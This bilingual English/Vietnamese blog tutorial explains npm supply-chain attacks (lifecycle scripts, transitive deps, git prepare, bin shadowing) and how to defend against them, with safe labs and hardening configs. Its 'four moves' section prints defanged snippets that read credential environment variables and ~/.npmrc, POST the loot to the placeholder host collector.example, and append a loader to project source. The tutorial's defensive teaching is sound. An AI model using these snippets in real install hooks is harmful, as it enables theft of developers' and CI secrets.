jvinhit//lab

Search posts

Type to search across journal entries.

navigate open esc close

Web Security for Frontend Devs · Part 17 — Supply-Chain Attacks via npm install

Bonus track: how a single npm install can run attacker code on your machine — lifecycle scripts, transitive deps, git prepare, bin shadowing — the signals to audit, and a full layered defense. With a live install simulator and exercises.

Part 17 — Bonus track (supply chain) in the Web Security for Frontend Devs series {Phần 17 — Nhánh bonus (chuỗi cung ứng) trong series Web Security for Frontend Devs}. Previous {Trước}: Part 16 — Web Cache Deception & Open-Redirect Chaining · Next {Tiếp}: Part 18 — Reverse Tabnabbing & window.opener.

Every part so far attacked the code running in a browser {Mọi phần tới giờ tấn công code chạy trong trình duyệt}. This bonus part moves one step earlier in your day — the moment you type npm install {Phần bonus này lùi về sớm hơn một bước trong ngày của bạn — khoảnh khắc bạn gõ npm install}. The uncomfortable truth: installing a dependency is not “downloading a library”, it is giving the package publisher permission to run code on your machine or your CI {Sự thật khó chịu: cài một dependency không phải “tải thư viện về”, mà là cho người publish quyền chạy code trên máy bạn hoặc CI của bạn}.

This is defensive writing — the mechanisms, the signals to detect them, and the layered fixes {Đây là bài viết phòng thủ — cơ chế, dấu hiệu nhận biết, và cách vá nhiều lớp}. No payloads, no malware recipes {Không payload, không công thức mã độc}.


The one mental model {Mô hình tư duy cốt lõi}

Attacker publishes package A (or hijacks an existing one)

You run  npm install A

npm resolves A + its ENTIRE transitive dependency tree

npm may run lifecycle scripts (preinstall / install / postinstall / prepare)

that code executes with YOUR user (or CI) privileges — before you import anything

The danger is the gap between intent and reality: you think “I’m adding a dependency” {Nguy hiểm nằm ở khoảng cách giữa ý định và thực tế: bạn nghĩ “tôi đang thêm dependency”}; what actually happens is “I am executing arbitrary code authored by strangers, plus everyone in their dependency tree” {thực tế là “tôi đang chạy code tùy ý do người lạ viết, cộng tất cả mọi người trong cây phụ thuộc của họ”}.

Rule of thumb {Quy tắc nhanh}: npm install is code execution, not a download. Treat it with the same care as curl … | bash {npm installthực thi code, không phải tải về. Hãy cẩn trọng như curl … | bash}.


Attack surface 1 — lifecycle scripts {Bề mặt 1 — lifecycle scripts}

The most common path by far {Đường phổ biến nhất}. A package’s package.json can declare scripts that npm runs automatically during install {package.json của một package có thể khai báo script mà npm chạy tự động khi cài}:

{
  "scripts": {
    "preinstall": "node setup.js",
    "install": "node-gyp rebuild",
    "postinstall": "node fetch-binary.js",
    "prepare": "npm run build"
  }
}

These exist for legitimate reasons — compiling a native addon with node-gyp, downloading a platform-specific binary, generating files {Chúng tồn tại vì lý do chính đáng — biên dịch native addon bằng node-gyp, tải binary theo nền tảng, sinh file}. That is exactly why malicious ones blend in: the same hook that fetches a binary can instead read your environment and phone home {Đó chính là lý do mã độc trà trộn: cùng một hook tải binary có thể thay vào đó đọc môi trường và gửi đi}.

What a hostile postinstall would reach for {Một postinstall thù địch sẽ nhắm tới}:

  • Environment variables — NPM_TOKEN, AWS_*, GITHUB_TOKEN, CI secrets {Biến môi trường}.
  • Files in the repo — .env, .npmrc, SSH keys, .git/config {File trong repo}.
  • Outbound network — exfiltrate any of the above {Mạng ra ngoài — tuồn dữ liệu trên}.
  • Persistence — drop a startup entry or modify project files {Cố thủ — thêm mục khởi động hoặc sửa file project}.

The user only thinks “install a library”; in reality the package gets to “run code” {User chỉ nghĩ “cài thư viện”; thực tế package được “chạy code”}.


Anatomy of a malicious postinstall — the four moves {Giải phẫu postinstall độc — bốn nước đi}

To recognize a hostile install script you need to know what it looks like {Để nhận ra script install thù địch, bạn cần biết nó trông như thế nào}. The snippets below are defanged and illustrative — they show the shape of each move and, more importantly, the signal that gives it away in review {Các đoạn dưới đã làm cùn và mang tính minh họa — chỉ cho thấy hình dạng mỗi nước đi và, quan trọng hơn, dấu hiệu lộ tẩy khi review}. The live simulator afterwards lets you trigger all four safely and watch what they “capture” {Trình mô phỏng phía sau cho bạn kích hoạt cả bốn một cách an toàn và xem chúng “thu” được gì}.

Move 1 — read environment variables {Nước 1 — đọc biến môi trường}

// postinstall.js — runs automatically; "loot" is whatever your shell/CI exported
const loot = {
  npm: process.env.NPM_TOKEN,
  aws: process.env.AWS_SECRET_ACCESS_KEY,
  gh: process.env.GITHUB_TOKEN,
};

Signal {Dấu hiệu}: an install script reading process.env for credential-looking names has no business doing so during a build {Script install đọc process.env cho các tên giống credential thì không có lý do gì khi build}. Detection: scan the script source; keep secrets out of the install environment so there is nothing to read {Phát hiện: quét mã script; giữ secret ngoài môi trường cài để không có gì đọc được}.

Move 2 — read files in the repo / home {Nước 2 — đọc file trong repo / home}

const fs = require("node:fs");
// reads the developer's auth token and project secrets
const npmrc = fs.readFileSync(`${process.env.HOME}/.npmrc`, "utf8");
const dotenv = fs.readFileSync(".env", "utf8"); // CWD = the project installing it

Signal {Dấu hiệu}: file reads of ~/.npmrc, .env, id_rsa, .git/config from an install hook {Đọc các file ~/.npmrc, .env, id_rsa, .git/config từ hook install}. Detection: run installs in a sandbox where those files are absent; --ignore-scripts stops the hook entirely {Phát hiện: cài trong sandbox không có các file đó; --ignore-scripts chặn hẳn hook}.

Move 3 — make an outbound request (exfiltration) {Nước 3 — gọi request ra ngoài (tuồn dữ liệu)}

// ship the collected loot off-box
fetch("https://collector.example/x", {
  method: "POST",
  body: JSON.stringify(loot),
});

Signal {Dấu hiệu}: any network call (fetch, https.request, curl, wget) from an install script {Bất kỳ lời gọi mạng nào từ script install}. Detection: block outbound network during install — even if the script runs, exfiltration fails; egress logs also expose it {Phát hiện: chặn mạng ra ngoài khi cài — kể cả script chạy, exfil vẫn thất bại}.

Move 4 — modify files in the project (persistence) {Nước 4 — sửa file trong project (cố thủ)}

const fs = require("node:fs");
// quietly append a loader to a file your app already runs
fs.appendFileSync("src/index.js", '\nrequire("./.cache/loader.js");');

Signal {Dấu hiệu}: an install hook writing to your source tree, not just to node_modules {Hook install ghi vào cây nguồn của bạn, không chỉ node_modules}. Detection: a clean git status/diff after install should show nothing changed in your source; CI should fail if it does {Phát hiện: git status/diff sau cài phải cho thấy nguồn không đổi gì}.

The common thread {Sợi chỉ chung}: a build step compiles or fetches its own artifacts {một bước build biên dịch hoặc tải artifact của chính nó}. Reading your secrets, touching your source, or calling the network are all out of scope for a build — that mismatch is the tell {Đọc secret của bạn, chạm nguồn của bạn, hay gọi mạng đều ngoài phạm vi của một build — sự lệch pha đó chính là điểm lộ}.


Attack surface 2 — transitive dependencies {Bề mặt 2 — dependency gián tiếp}

You audited your direct dependency. Did you audit its dependencies? And theirs? {Bạn đã rà direct dependency. Bạn có rà dependency của nó không? Và của những cái đó?}

my-app
└─ ui-kit            ← the one you installed
   └─ color-utils
      └─ is-even-ish ← hijacked; ships a preinstall you never asked for

You ran npm install ui-kit, but a tiny utility three levels down can carry an install script {Bạn chạy npm install ui-kit, nhưng một util bé xíu ba tầng bên dưới vẫn mang install script}. This is why the dependency tree is the real trust boundary {Đây là lý do cây phụ thuộc mới là biên tin cậy thực sự}: you do not just trust the package you named — you trust everything beneath it, transitively {bạn không chỉ tin package mình gọi tên — bạn tin mọi thứ bên dưới nó, theo cấp}. A typical app has hundreds to thousands of such packages {Một app điển hình có hàng trăm tới hàng nghìn package như vậy}.

This is the class behind real incidents like event-stream (2018), where a popular package’s new maintainer added a malicious transitive dep, and ua-parser-js (2021), where a hijacked maintainer account pushed versions with an install-time payload. (See sources below.) {Đây là lớp đứng sau các sự cố thật như event-stream (2018) và ua-parser-js (2021).}


Attack surface 3 — prepare on git dependencies {Bề mặt 3 — prepare với git dependency}

If a dependency points at a Git URL instead of the registry, npm runs prepare to build it from source on install {Nếu dependency trỏ tới Git URL thay vì registry, npm chạy prepare để build từ nguồn khi cài}:

{
  "dependencies": {
    "internal-sdk": "github:acme/internal-sdk#main"
  }
}

prepare is legitimate for TypeScript/build steps {prepare hợp pháp cho bước TypeScript/build}. But a git dependency skips registry-side controls (provenance, version immutability) and follows a moving ref like #main {Nhưng git dependency bỏ qua kiểm soát phía registry và bám một ref di động như #main}. If that repo is taken over — or the branch is force-pushed — prepare runs attacker code the next time anyone installs {Nếu repo bị chiếm — hoặc nhánh bị force-push — prepare chạy code kẻ tấn công ở lần cài kế tiếp}. Pin a commit SHA, not a branch, and prefer the registry {Hãy ghim commit SHA, không phải nhánh, và ưu tiên registry}.


Attack surface 4 — bin shadowing & typosquats {Bề mặt 4 — bin shadowing & typosquat}

A package can expose a command-line binary {Một package có thể expose binary dòng lệnh}:

{
  "bin": { "cross-env": "./cli.js" }
}

On install, npm links this into node_modules/.bin {Khi cài, npm link nó vào node_modules/.bin}. This does not necessarily run at install time — it runs later, when a script invokes the command {Việc này không nhất thiết chạy lúc cài — nó chạy về sau, khi một script gọi command đó}:

npm run build   # → calls "cross-env" from node_modules/.bin
npm test
npx some-tool

Two traps {Hai cái bẫy}: an attacker typosquats a familiar name (cross-env-shell vs cross-env) hoping you fat-finger it, or ships a bin whose name shadows a tool your scripts already call {Kẻ tấn công typosquat tên quen, hoặc ship bin có tên shadow tool mà script bạn đã gọi}. Crucially, --ignore-scripts does not help here — there is no install script; the payload waits in the binary {Quan trọng: --ignore-scripts không cứu được ở đây — không có install script; payload chờ trong binary}.


Attack surface 5 — the runtime entrypoint {Bề mặt 5 — entrypoint lúc chạy}

Even with every install script blocked, a package still runs its code when you actually use it {Kể cả chặn mọi install script, package vẫn chạy code khi bạn thật sự dùng nó}:

{ "main": "index.js", "exports": { ".": "./dist/index.js" } }
require("package-a"); // runs package-a's top-level code now

This is runtime risk, not install-time risk — --ignore-scripts is irrelevant {Đây là rủi ro lúc chạy, không phải lúc cài — --ignore-scripts vô can}. The defense shifts to trust, review, and least privilege at runtime (and everything from the earlier parts once that code touches the browser) {Phòng thủ chuyển sang tin cậy, review, và least privilege lúc chạy}.


Try it — live npm install simulator {Thử ngay — trình mô phỏng npm install}

The simulator below lets you pick a scenario (benign native build, direct postinstall exfil, deep transitive malware, git prepare, typosquat bin shadow), read the manifest and resolved tree, then run a simulated install and watch which lifecycle scripts fire {Trình mô phỏng dưới cho bạn chọn kịch bản, đọc manifest và cây đã resolve, rồi chạy install mô phỏng và xem lifecycle script nào kích hoạt}. The “What the script touched” panel surfaces all four moves from above — the (fake) env vars, file reads, outbound request, and source modification a malicious hook would perform {Panel “What the script touched” hiện cả bốn nước đi ở trên — biến môi trường (giả), file đọc, request ra ngoài, và sửa nguồn mà hook độc sẽ làm}. Toggle --ignore-scripts to neutralize the common path and watch the capture go quiet, read the static-audit findings, and use the mitigation scorecard to watch residual risk drop {Bật --ignore-scripts để vô hiệu đường phổ biến và thấy panel im lặng, đọc audit tĩnh, và dùng scorecard}. Nothing executes — it is a teaching model {Không có gì thực thi — đây là mô hình dạy học}.

Open the full demo {Mở demo đầy đủ}: /tools/npm-install-attack-demo/.


Hands-on labs — reproduce each surface safely {Lab thực hành — tái hiện từng bề mặt an toàn}

The simulator is a model; now prove the mechanism on your own machine {Simulator là mô hình; giờ chứng minh cơ chế trên máy của chính bạn}. Each lab is real npm — but the “malicious” action is replaced by a harmless observable: appending a line to a local log {Mỗi lab là npm thật — nhưng hành động “độc” được thay bằng một quan sát vô hại: ghi thêm một dòng vào log cục bộ}. You see the code run, then verify the mitigation actually stops it {Bạn thấy code chạy, rồi xác nhận biện pháp giảm rủi ro thực sự chặn được}.

Safety {An toàn}: run these in a throwaway directory (ideally a container/VM). Nothing here reads secrets or hits the network — but treat install labs as untrusted by habit {Chạy trong thư mục dùng-rồi-bỏ (lý tưởng là container/VM). Không gì ở đây đọc secret hay gọi mạng — nhưng hãy quen coi lab install là không tin cậy}. Paths use macOS/Linux /tmp; Windows users swap in a temp folder {Đường dẫn dùng /tmp của macOS/Linux; Windows thay bằng thư mục tạm}.

Shared setup {Chuẩn bị chung}

# a clean sandbox + a consumer app that will install our local packages
mkdir -p /tmp/npm-lab && cd /tmp/npm-lab
mkdir -p app && (cd app && npm init -y >/dev/null)

Lab 1 — lifecycle scripts run on install {Lab 1 — lifecycle script chạy khi cài}

Build a package whose postinstall reads an env var and writes proof — exactly Moves 1 & 4, defanged {Tạo package có postinstall đọc env và ghi proof — chính Nước 1 & 4, đã làm cùn}:

mkdir -p /tmp/npm-lab/demo-pkg && cd /tmp/npm-lab/demo-pkg
cat > postinstall.js <<'EOF'
const fs = require("node:fs");
// harmless stand-in for exfiltration: just record what the script CAN reach
fs.appendFileSync("/tmp/npm-lab/proof.log",
  `postinstall ran — could read HOME=${process.env.HOME}\n`);
EOF
cat > package.json <<'EOF'
{ "name": "demo-pkg", "version": "1.0.0",
  "scripts": { "postinstall": "node postinstall.js" } }
EOF

Run it and observe {Chạy và quan sát}:

cd /tmp/npm-lab/app
rm -f /tmp/npm-lab/proof.log
npm install ../demo-pkg
cat /tmp/npm-lab/proof.log    # → "postinstall ran — could read HOME=/Users/you"

Now verify the mitigation {Giờ kiểm chứng biện pháp}:

rm -f /tmp/npm-lab/proof.log
npm install ../demo-pkg --ignore-scripts
cat /tmp/npm-lab/proof.log 2>/dev/null || echo "no proof.log — the script was skipped ✅"

Proved {Đã chứng minh}: an install hook runs automatically and can read your environment; --ignore-scripts stops it {Hook install chạy tự động và đọc được môi trường; --ignore-scripts chặn nó}.

Lab 2 — a transitive dep runs too {Lab 2 — dependency gián tiếp cũng chạy}

Wrap demo-pkg so you install only the wrapper — yet the leaf’s script still fires {Bọc demo-pkg để bạn chỉ cài wrapper — nhưng script của lá vẫn nổ}:

mkdir -p /tmp/npm-lab/wrapper-pkg && cd /tmp/npm-lab/wrapper-pkg
cat > package.json <<'EOF'
{ "name": "wrapper-pkg", "version": "1.0.0",
  "dependencies": { "demo-pkg": "file:../demo-pkg" } }
EOF

cd /tmp/npm-lab/app
rm -f /tmp/npm-lab/proof.log
npm install ../wrapper-pkg
cat /tmp/npm-lab/proof.log    # demo-pkg's postinstall ran — you never named it

Proved {Đã chứng minh}: you trust the whole tree, not just your direct dependency {Bạn tin cả cây, không chỉ direct dependency}. Audit the lockfile, where the leaf appears {Hãy audit lockfile, nơi lá xuất hiện}.

Lab 3 — a git dependency’s prepare {Lab 3 — prepare của git dependency}

A dep resolved from Git builds from source via prepare {Dep lấy từ Git build từ nguồn qua prepare}:

mkdir -p /tmp/npm-lab/git-dep && cd /tmp/npm-lab/git-dep
git init -q
cat > package.json <<'EOF'
{ "name": "git-dep", "version": "1.0.0",
  "scripts": { "prepare": "node -e \"require('fs').appendFileSync('/tmp/npm-lab/proof.log','prepare ran building git dep\\n')\"" } }
EOF
git add -A && git commit -qm init

cd /tmp/npm-lab/app
rm -f /tmp/npm-lab/proof.log
npm install "git+file:///tmp/npm-lab/git-dep"
cat /tmp/npm-lab/proof.log    # prepare ran — the build-from-source path

Proved {Đã chứng minh}: git deps run prepare and skip registry-side checks {git dep chạy prepare và bỏ qua kiểm tra phía registry}. Prefer the registry; pin a commit SHA, not a branch {Ưu tiên registry; ghim commit SHA, không phải nhánh}.

Lab 4 — bin shadowing survives --ignore-scripts {Lab 4 — bin shadowing sống sót --ignore-scripts}

The payload here is in the binary, not an install hook {Payload ở đây nằm trong binary, không phải hook install}:

mkdir -p /tmp/npm-lab/bin-pkg && cd /tmp/npm-lab/bin-pkg
cat > cli.js <<'EOF'
#!/usr/bin/env node
console.log("bin ran — this is where a shadowed command executes");
EOF
cat > package.json <<'EOF'
{ "name": "bin-pkg", "version": "1.0.0", "bin": { "mytool": "cli.js" } }
EOF

cd /tmp/npm-lab/app
npm install ../bin-pkg --ignore-scripts   # note: scripts OFF
npx mytool                                 # …yet the bin still runs

Proved {Đã chứng minh}: --ignore-scripts does not cover bin — it fires when a build/test/npx command calls the name {--ignore-scripts không bao phủ bin — nó nổ khi một lệnh build/test/npx gọi tên}. Verify exact package names (typosquats) and audit bin entries {Xác minh đúng tên package; audit mục bin}.

Lab 5 — the runtime entrypoint runs on require {Lab 5 — entrypoint runtime chạy khi require}

mkdir -p /tmp/npm-lab/runtime-pkg && cd /tmp/npm-lab/runtime-pkg
cat > index.js <<'EOF'
console.log("runtime entrypoint ran on require()");
module.exports = {};
EOF
cat > package.json <<'EOF'
{ "name": "runtime-pkg", "version": "1.0.0", "main": "index.js" }
EOF

cd /tmp/npm-lab/app
npm install ../runtime-pkg --ignore-scripts
node -e "require('runtime-pkg')"   # top-level code runs — install flags are irrelevant

Proved {Đã chứng minh}: once you use a package, its code runs regardless of install flags {Khi bạn dùng package, code của nó chạy bất kể cờ install}. Defense moves to dependency minimization, review, and runtime least privilege {Phòng thủ chuyển sang tối giản dependency, review, least privilege lúc chạy}.

Clean up {Dọn dẹp}

rm -rf /tmp/npm-lab

Tip {Mẹo}: re-run Labs 1–3 with a committed .npmrc containing ignore-scripts=true to feel the project-wide default, and add --foreground-scripts to see script output that npm normally hides {Chạy lại Lab 1–3 với .npmrc chứa ignore-scripts=true để cảm nhận mặc định toàn project, và thêm --foreground-scripts để thấy output script npm thường ẩn}.


What to audit before you install {Cần audit gì trước khi cài}

Read the manifest and lockfile, not just the README {Đọc manifest và lockfile, không chỉ README}:

package.json
├─ scripts: preinstall / install / postinstall / prepare   ← runs on install
├─ bin                                                      ← linked command names
├─ main / exports                                           ← runs on import
├─ dependencies pointing at git/http URLs                   ← prepare + no registry checks
└─ floating ranges (^, ~, *, latest)                        ← silent version drift

Beyond the manifest, weigh the package signals {Ngoài manifest, cân nhắc tín hiệu của package}:

  • An install script that calls a shell, curl/wget, or runs an unfamiliar file {Script install gọi shell, curl/wget, hoặc chạy file lạ}.
  • A sudden new version, especially a major bump right after a maintainer change {Phiên bản mới đột ngột, nhất là major bump ngay sau khi đổi maintainer}.
  • Mismatched or missing repository, low/anomalous download trend, brand-new account {repository lệch/thiếu, lượt tải bất thường, account mới tinh}.
  • A name one keystroke away from a popular package (typosquat) {Tên lệch một phím so với package nổi tiếng (typosquat)}.

Tools that automate this: npm audit (known CVEs), npm audit signatures (registry signatures), provenance attestations, and third-party scanners like Socket that score install scripts and behavior {Công cụ tự động hóa: npm audit, npm audit signatures, provenance, và scanner bên thứ ba như Socket}.


Defenses — a layered playbook {Phòng thủ — playbook nhiều lớp}

No single switch is enough; combine them {Không công tắc nào đủ một mình; hãy kết hợp}.

Defense 1 — disable install scripts by default {Phòng thủ 1 — tắt install script mặc định}

The single highest-leverage control {Control đòn bẩy cao nhất}:

# one-off
npm install --ignore-scripts

# project / CI default — commit this .npmrc
echo "ignore-scripts=true" >> .npmrc

This blocks preinstall/install/postinstall/prepare {Chặn preinstall/install/postinstall/prepare}. Trade-off: packages that legitimately need a build step (native addons) won’t build {Đánh đổi: package thật sự cần build (native addon) sẽ không build}. Workaround: keep scripts off globally, then allow-list the few packages that need them and run their build explicitly, or use a tool that gates scripts per-package {Cách xử lý: tắt toàn cục, rồi allow-list vài package cần và build tường minh}.

Defense 2 — lockfile + npm ci, with pinned versions {Phòng thủ 2 — lockfile + npm ci, ghim version}

npm ci   # installs EXACTLY the lockfile, no re-resolution

npm ci refuses to drift from package-lock.json, so a freshly-published malicious version can’t slip in until you deliberately update {npm ci không trôi khỏi package-lock.json, nên version độc mới publish không lọt vào cho tới khi bạn cố ý cập nhật}. Pin exact versions, commit the lockfile, and review the lockfile diff in every PR — that diff is where a transitive change shows up {Ghim version chính xác, commit lockfile, và review diff lockfile mỗi PR}.

Defense 3 — install in a low-privilege sandbox {Phòng thủ 3 — cài trong sandbox quyền thấp}

Run installs where there is nothing worth stealing and nowhere to phone home {Chạy install ở nơi không có gì đáng trộmkhông gọi ra ngoài được}:

  • A container/VM with no production secrets mounted {Container/VM không mount secret production}.
  • A dedicated CI step that installs before secrets are injected {Bước CI cài trước khi inject secret}.
  • Block outbound network during install so exfiltration fails even if a script runs {Chặn mạng ra ngoài khi cài để exfil thất bại kể cả khi script chạy}.

Defense 4 — keep secrets out of the install environment {Phòng thủ 4 — không để secret trong môi trường cài}

The most valuable loot is NPM_TOKEN, cloud keys, and CI tokens sitting in env vars {Chiến lợi phẩm giá trị nhất là NPM_TOKEN, key cloud, CI token nằm trong env}. Scope tokens narrowly, don’t export them during npm ci, and prefer short-lived OIDC credentials over long-lived secrets {Thu hẹp phạm vi token, đừng export khi npm ci, ưu tiên credential OIDC ngắn hạn}.

Defense 5 — verify integrity & provenance {Phòng thủ 5 — xác minh integrity & provenance}

npm audit signatures   # verify registry signatures on installed packages
npm audit              # known-vulnerability check

Prefer packages published with provenance (a verifiable link back to the source repo and CI build) {Ưu tiên package publish kèm provenance}. Add a scanner (Socket, Snyk) in CI to flag risky install scripts and behavior changes between versions {Thêm scanner trong CI để cờ install script rủi ro và thay đổi hành vi}.

Defense 6 — runtime least privilege {Phòng thủ 6 — least privilege lúc chạy}

--ignore-scripts does nothing for the runtime and bin surfaces {--ignore-scripts không giúp gì cho bề mặt runtimebin}. Reduce that blast radius: minimize dependencies, review what you import, run services with least privilege, and verify the exact package name before adding it (typosquats) {Giảm thiệt hại: tối giản dependency, review thứ bạn import, chạy service least privilege, và xác minh đúng tên package}.


npm vs pnpm vs Yarn — who runs install scripts by default {npm vs pnpm vs Yarn — ai chạy install script mặc định}

Your package manager choice now changes the default blast radius {Lựa chọn package manager giờ thay đổi mặc định mức độ thiệt hại}. The ecosystem shifted hard toward “scripts off by default” after the 2025 worm wave {Hệ sinh thái dịch mạnh sang “tắt script mặc định” sau làn sóng worm 2025}:

  • npm — runs lifecycle scripts of dependencies by default {chạy lifecycle script của dependency mặc định}. Turn it off with ignore-scripts=true (global, no native per-package allow-list — use a tool like @lavamoat/allow-scripts, or npm rebuild <pkg> for the few you trust) {Tắt bằng ignore-scripts=true}.
  • pnpm (v10+) — does not run dependency scripts by default {không chạy script dependency mặc định}. Allow-list the few that need it in pnpm.onlyBuiltDependencies (package.json) or via the interactive pnpm approve-builds {Allow-list cái cần trong pnpm.onlyBuiltDependencies hoặc pnpm approve-builds}:
{ "pnpm": { "onlyBuiltDependencies": ["better-sqlite3", "esbuild"] } }
  • Yarn Berry (v2+) — declarative, and recent versions default enableScripts: false {khai báo, bản gần đây mặc định enableScripts: false}. Set it explicitly in .yarnrc.yml, then opt specific packages back in {Đặt rõ trong .yarnrc.yml, rồi bật lại từng package}:
# .yarnrc.yml
enableScripts: false
enableImmutableInstalls: true   # don't let install mutate the lockfile
{ "dependenciesMeta": { "esbuild": { "built": true } } }
  • Yarn Classic (v1) — runs scripts by default; only the global --ignore-scripts, no native per-package mechanism {chạy script mặc định; chỉ có --ignore-scripts toàn cục}.

Note {Lưu ý}: an “off by default” manager only protects the install hook surface. bin shadowing and runtime code still apply everywhere — and git deps may still run a prepare/pack step (Yarn adds approvedGitRepositories to gate this) {Manager “tắt mặc định” chỉ bảo vệ bề mặt hook install. bin shadow và code runtime vẫn áp dụng — git dep vẫn có thể chạy prepare/pack}.


A hardened setup you can copy {Một cấu hình cứng hóa bạn copy được}

A pragmatic baseline for an npm project {Nền tảng thực dụng cho project npm}. Commit this .npmrc at the repo root {Commit .npmrc này ở gốc repo}:

# .npmrc — committed, applies to everyone and CI
ignore-scripts=true   # no dependency lifecycle scripts on install
save-exact=true       # added deps are pinned, not ^ranged
fund=false
audit=true

With scripts globally off, build the few trusted native deps explicitly instead of letting every package run code {Với script tắt toàn cục, build vài native dep tin cậy tường minh}:

npm ci                       # exact lockfile install, scripts already off via .npmrc
npm rebuild better-sqlite3   # allow-list: build only what you trust
npm run build

A minimal hardened GitHub Actions job {Job GitHub Actions cứng hóa tối thiểu}:

name: ci
on: [push, pull_request]

jobs:
  build:
    runs-on: ubuntu-latest
    # NOTE: no secrets exposed in this job — install runs with nothing to steal
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: 20
          cache: npm
      - run: npm ci --ignore-scripts        # locked + scripts off (belt and suspenders)
      - run: npm rebuild better-sqlite3     # explicit allow-list for native builds
      - run: npm audit signatures           # verify registry signatures / provenance
      - run: npm run build
      - run: npm test

Keep deploy credentials in a separate job/environment that runs after install and tests, so a hostile install never shares a process with your secrets {Giữ credential deploy ở job/environment riêng, chạy sau install và test}.


Real incidents — and the signal that would’ve caught each {Sự cố thật — và dấu hiệu lẽ ra bắt được}

These are the textbook cases behind the surfaces above {Đây là các ca kinh điển đứng sau các bề mặt trên}:

  • event-stream (2018) — a popular package was handed to a new maintainer who added a malicious transitive dependency (flatmap-stream) that targeted a specific bitcoin-wallet build {một package nổi tiếng được giao cho maintainer mới, người này thêm một transitive dependency độc nhắm vào một build ví bitcoin}. Signal: a new, unexplained dependency from a new maintainer — visible in the lockfile diff, not package.json {Dấu hiệu: dependency mới lạ từ maintainer mới — thấy trong diff lockfile}.
  • ua-parser-js (2021) — the maintainer’s npm account was hijacked and three versions shipped with install scripts running a miner and a password stealer {tài khoản npm của maintainer bị chiếm, ba phiên bản kèm install script chạy miner và trộm mật khẩu}. Signal: sudden out-of-band version bumps + install scripts touching binaries/network — ignore-scripts alone would have blocked the payload {Dấu hiệu: bump version bất thường + install script chạm binary/mạng — chỉ ignore-scripts đã chặn được payload}.
  • node-ipc (2022) — the maintainer intentionally shipped destructive “protestware” that wiped files based on the user’s geolocation, pulled in transitively by huge projects {maintainer cố tình ship “protestware” phá hoại theo vị trí địa lý, bị kéo vào gián tiếp bởi project lớn}. Signal: a trusted maintainer’s patch doing filesystem writes + floating ranges auto-upgrading — pinning + lockfile review stops the silent pull {Dấu hiệu: bản vá ghi filesystem + range thả nổi tự nâng cấp — ghim + review lockfile chặn}.
  • “Shai-Hulud” worm (2025) — a self-replicating campaign across hundreds of npm packages: a postinstall stole npm/GitHub/cloud tokens and used them to publish trojanized versions of the victim’s own packages, propagating automatically {chiến dịch tự nhân bản trên hàng trăm package npm: postinstall trộm token rồi publish phiên bản nhiễm của chính package nạn nhân}. This is why pnpm and Yarn moved to scripts-off defaults {Đây là lý do pnpm và Yarn chuyển sang mặc định tắt script}. Signal: a postinstall reading tokens + calling the network — broken by no secrets in the install env + ignore-scripts + scoped/short-lived tokens {Dấu hiệu: postinstall đọc token + gọi mạng — phá bởi không secret khi cài + ignore-scripts + token thu hẹp/ngắn hạn}.

The pattern across all four {Mẫu chung cả bốn}: the compromise rode in through a maintainer/account change or a transitive dep, executed via an install script, and was made worse by floating versions {xâm nhập qua đổi maintainer/account hoặc transitive dep, thực thi qua install script, tệ hơn vì version thả nổi}. Every defense in this article targets one of those links {Mọi phòng thủ trong bài nhắm vào một mắt xích đó}.


Prevention checklist {Checklist phòng tránh}

  1. Default ignore-scripts=true in a committed .npmrc; allow-list only the packages that truly need a build {Mặc định ignore-scripts=true trong .npmrc đã commit}.
  2. Use npm ci with a committed lockfile and pinned versions; review the lockfile diff every PR {Dùng npm ci + lockfile commit + version ghim; review diff mỗi PR}.
  3. Install in a sandbox/container with no secrets and blocked egress {Cài trong sandbox không secret, chặn egress}.
  4. Prefer the registry over git deps; if you must use git, pin a commit SHA, not a branch {Ưu tiên registry; nếu dùng git, ghim commit SHA}.
  5. Run npm audit and npm audit signatures; prefer packages with provenance; add a supply-chain scanner {Chạy npm audit + signatures; ưu tiên provenance; thêm scanner}.
  6. Verify the exact package name (typosquats) and audit bin, scripts, main/exports, and git URLs before adding a dependency {Xác minh đúng tên; audit bin, scripts, entrypoint, git URL}.

Bài tập / Exercises

1. A teammate says “we set ignore-scripts=true, so we’re safe from malicious packages.” Name two attack surfaces from this article that survive that setting, and why {Đồng đội nói “đã bật ignore-scripts=true nên an toàn”. Nêu hai bề mặt vẫn sống sót và vì sao}.

Solution {Lời giải}

(1) bin shadowing / typosquat — there is no install script; the payload sits in a linked binary that fires when a build/test/npx command later calls that name {bin shadowing / typosquat — không có install script; payload ở binary chạy khi command sau gọi tên đó}. (2) Runtime entrypointmain/exports code runs when you import/require the package, regardless of install scripts {Entrypoint runtime — code chạy khi import/require, bất kể install script}. --ignore-scripts only blocks lifecycle hooks, so you still need pinned versions, name verification, runtime least privilege, and review {--ignore-scripts chỉ chặn lifecycle hook}.

2. In the simulator, run the “Transitive malware (deep)” scenario with scripts enabled, then with --ignore-scripts. Explain why auditing only your direct dependencies would have missed this, and what artifact you should review instead {Trong simulator, chạy kịch bản transitive có và không có --ignore-scripts. Giải thích vì sao chỉ rà direct dependencies sẽ bỏ sót, và nên review artifact nào thay thế}.

Solution {Lời giải}

The malicious package is three levels deep — it never appears in your package.json, only in the resolved tree {Package độc nằm ba tầng sâu — không hề xuất hiện trong package.json, chỉ trong cây đã resolve}. You’d miss it by reading dependencies alone; review the package-lock.json diff, which records the full transitive tree and exact versions, and run a scanner that inspects install scripts across the whole tree {Hãy review diff package-lock.json và chạy scanner soi cả cây}. With --ignore-scripts, its preinstall is skipped — but you still ship its runtime code if you use the parent package {Với --ignore-scripts, preinstall bị bỏ qua — nhưng vẫn ship code runtime của nó nếu dùng package cha}.

3. Your CI runs npm install in the same job that holds the deploy token (AWS_*, NPM_TOKEN). Describe the exfiltration path a single postinstall enables, and two independent changes that each shrink the blast radius {CI chạy npm install cùng job giữ deploy token. Mô tả đường exfil một postinstall cho phép, và hai thay đổi độc lập giảm thiệt hại}.

Solution {Lời giải}

A postinstall reads process.env (the deploy token) and sends it to an attacker host — full compromise of the cloud account, with no code review triggered {postinstall đọc process.env rồi gửi token đi — chiếm trọn account cloud, không kích hoạt review nào}. Independent shrinks: (a) ignore-scripts=true so the hook never runs; (b) install before secrets are injected / use a separate low-priv install step so the token isn’t in the env during install; (c) block outbound network during install so exfil fails; (d) short-lived OIDC instead of a long-lived token {Giảm độc lập: (a) tắt script; (b) cài trước khi inject secret; (c) chặn egress; (d) OIDC ngắn hạn}. Any two are valid {Chọn hai bất kỳ là đúng}.

